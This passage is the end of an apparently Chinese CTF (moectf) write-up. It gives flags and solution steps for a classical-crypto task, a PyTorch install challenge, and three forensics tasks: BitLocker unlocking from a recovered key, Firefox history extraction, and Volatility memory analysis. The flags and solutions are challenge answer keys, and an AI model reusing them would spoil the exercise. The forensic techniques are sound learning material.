print(decrypted_text_restored)

1
moectf{vIgENErE_CIphEr_Is_a_lIttlE_hardEr_thaN_caEsar_CIphEr_4u4u4EXfXz}

web

ai

AI入门指北

在这找到不带gpu版本的安装命令 https://pytorch.org/

1
moectf{install_torch_torchvision_torchaudio}

Forensics

随身携带的虚拟机

校园网好卡,附件下载了半天,解压后发现全是vmdk的文件

https://blog.csdn.net/jcjic/article/details/118241188 根据这篇文章创建了一个win10虚拟机然后导入vmdk进入了系统

发现有一个磁盘被bitlook锁住了,然后在回收站这发现了这个文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
BitLocker Drive Encryption recovery key 

To verify that this is the correct recovery key, compare the start of the following identifier with the identifier value displayed on your PC.

Identifier:

4DFEE901-55AC-43EB-96F4-FFE09609952A

If the above identifier matches the one displayed by your PC, then use the following key to unlock your drive.

Recovery Key:

702801-061622-323125-555819-258544-713713-089331-406373

If the above identifier doesn't match the one displayed by your PC, then this isn't the right key to unlock your drive.
Try another recovery key, or refer to https://go.microsoft.com/fwlink/?LinkID=260589 for additional assistance.

解锁磁盘后发现flag.txt

1
bW9lY3Rme0JhczFjX0QxNWtfRjByM25zMWNzIX0=

base64解码获得flag

1
moectf{Bas1c_D15k_F0r3ns1cs!}

坚持访问的浏览器

查询资料后发现在 ~/.mozilla/firefox/…….. 下有个places.sqlite存储浏览器的历史记录和标签。

然后 moz_places表中存储网站url 标题等相关信息

在这个表中发现了https://hymint.space/~koito/ 这个网站,尝试访问一下发现打开了,没什么功能

f12找到了flag

1
2
3
4
5
<!--
I am always thinking about creating a flag that is safe enough.
I came up with lots of ideas and moectf{Th15_iS_d3f1ni7e1y_1Ast_0NE_30a13cfb8426e919ecd4c5627cde4fa4}
Next step is to hide it into this page!
-->
1
moectf{Th15_iS_d3f1ni7e1y_1Ast_0NE_30a13cfb8426e919ecd4c5627cde4fa4}

锁定起来的同人文

一开始不太懂dumpmem.raw和qaq.hc 是什么文件,搜索了一下后发现一个是内存镜像,一个是用VeraCrypt加密的文件。然后找到了这个内存软件

https://github.com/volatilityfoundation/volatility3/

1
volatility_2.6_win64_standalone.exe -f dumpmem.raw --profile Win2016x64_14393 filescan | findstr /R "txt png jpg gif zip rar 7z pdf doc"

找到一个key 0x958246a8c550 \Users\Administrator\Desktop\key_pixiv_id105614615.png ,但是dumpfile不下来,翻了很多issue还有试过换3,也是dump不下来

一开始考虑到图片下载网站略缩图的原因,可能我根据id搜下载下来的key不正确,最后dumpfile没有思路的时候,试了一下搜索下载当key,然后解出来了

https://www.bilibili.com/read/cv3744376/ p站搜id的方法

http://www.pixiv.net/member.php?id=105614615 搜到了图片 解密了.hc文件

tmp目录下发现 history.db siyuan.db还有pandoc,搜了一下pandoc是一个文档转换的程序,siyuan是一个插件,在siyuan.db中的 block_fts_content中发现了.sy的文件名还有内容

NVXWKY3UMZ5VGMC7MQZTG4DMPFPUQMLEMRSW4IL5 这像是某种编码,根据搜索编码特征后,发现是base32

https://www.lzltool.cn/Tools/Base32Decode

解密后得到flag

1
moectf{S0_d33ply_H1dden!}

ww,moectf学到挺多东西的捏,入门了re和pwn,后面比较忙就没有继续做了qaq

CATALOG
  1. 1. RE
    1. 1.1. Reverse入门指北
    2. 1.2. base_64
    3. 1.3. UPX!
    4. 1.4. Xor
    5. 1.5. ANDROID
    6. 1.6. EQUATION
    7. 1.7. RRRRRc4
    8. 1.8. SMC
    9. 1.9. junk_code
    10. 1.10. RUST
    11. 1.11. ezandroid
    12. 1.12. GUI [有问题]
    13. 1.13. unwind
    14. 1.14. EZNET[未解决-没思路]
  2. 2. PWN
    1. 2.1. test_nc
    2. 2.2. baby_calculator
    3. 2.3. fd
    4. 2.4. int_overflow
    5. 2.5. ret2text_32
    6. 2.6. ret2text_64
    7. 2.7. shellcode_level0
    8. 2.8. shellcode_level1
    9. 2.9. uninitialized_key
    10. 2.10. format_level0
    11. 2.11. PIE_enabled
    12. 2.12. ret2libc
    13. 2.13. ret2syscall
    14. 2.14. shellcode_level2
    15. 2.15. uninitialized_key_plus
    16. 2.16. format_level1[补]
    17. 2.17. little_canary[补]
    18. 2.18. rePWNse[补]
    19. 2.19. shellcode_level3[补]
    20. 2.20. changeable_shellcode [补]
    21. 2.21. format_level2[补]
  3. 3. CRYPTO
    1. 3.1. Crypto 入门指北
    2. 3.2. baby_e
  4. 4. Jail
    1. 4.1. Jail lavel 0
    2. 4.2. Jail lavel 1
    3. 4.3. Jail lavel 2
    4. 4.4. Jail Level 3 [未解决]
    5. 4.5. Jail Level 4
    6. 4.6. Leak Leval 0
  5. 5. Classical Crypto
    1. 5.1. ezrot
    2. 5.2. 可可的新围墙
    3. 5.3. 皇帝的新密码
    4. 5.4. 不是“皇帝的新密码”
  6. 6. web
  7. 7. ai
    1. 7.1. AI入门指北
  8. 8. Forensics
    1. 8.1. 随身携带的虚拟机
    2. 8.2. 坚持访问的浏览器
    3. 8.3. 锁定起来的同人文